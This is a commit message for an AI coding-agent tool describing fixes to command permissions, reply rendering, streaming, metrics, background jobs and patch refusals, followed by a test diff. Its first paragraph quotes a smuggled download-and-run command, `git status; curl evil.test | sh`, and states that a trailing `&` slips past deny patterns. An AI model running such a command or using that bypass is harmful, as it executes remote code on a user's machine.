A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

tests/test_agent_patch.py

@@ -76,7 +76,38 @@ def test_a_hunk_that_matches_nowhere_is_refused_and_names_what_is_there():
     message = caught.value.message
     assert "Hunk 1 did not apply" in message
     assert "Nothing was written" in message
-    assert "Read the file again" in message
+    assert "Send a patch whose context matches" in message
+
+
+def test_the_refusal_prints_the_file_around_where_the_hunk_expected_to_land():
+    """One line of "but the file has …" was not enough to retry from. A model
+    whose numbers are two out cannot see where it actually is, sends the same
+    patch again, and that is most of the retry loop this tool produces. The
+    window is numbered, because the numbers are what was wrong, and the hinted
+    line is marked."""
+    with pytest.raises(patch.PatchError) as caught:
+        _apply(FILE, "@@ -4,3 +4,3 @@\n nothing\n-like this\n+new\n at all\n")
+
+    message = caught.value.message
+    assert "->     4  line 4" in message, message
+    assert "     3  line 3" in message, "and what is on either side of it"
+    assert "     5  line 5" in message
+
+
+def test_a_hunk_past_the_end_is_told_where_the_end_is():
+    """"(past the end of the file)" said the position was wrong without saying
+    what would have been right, which is the same dead end one line further on."""
+    with pytest.raises(patch.PatchError) as caught:
+        _apply("one\ntwo\n", "@@ -40,3 +40,3 @@\n nothing\n-like this\n+new\n at all\n")
+
+    assert "the file ends at line 2" in caught.value.message
+
+
+def test_an_empty_file_says_that_rather_than_printing_nothing():
+    with pytest.raises(patch.PatchError) as caught:
+        _apply("", "@@ -1,3 +1,3 @@\n nothing\n-like this\n+new\n at all\n")
+
+    assert "the file is empty" in caught.value.message
 
 
 def test_ambiguous_context_is_refused_rather_than_guessed_at():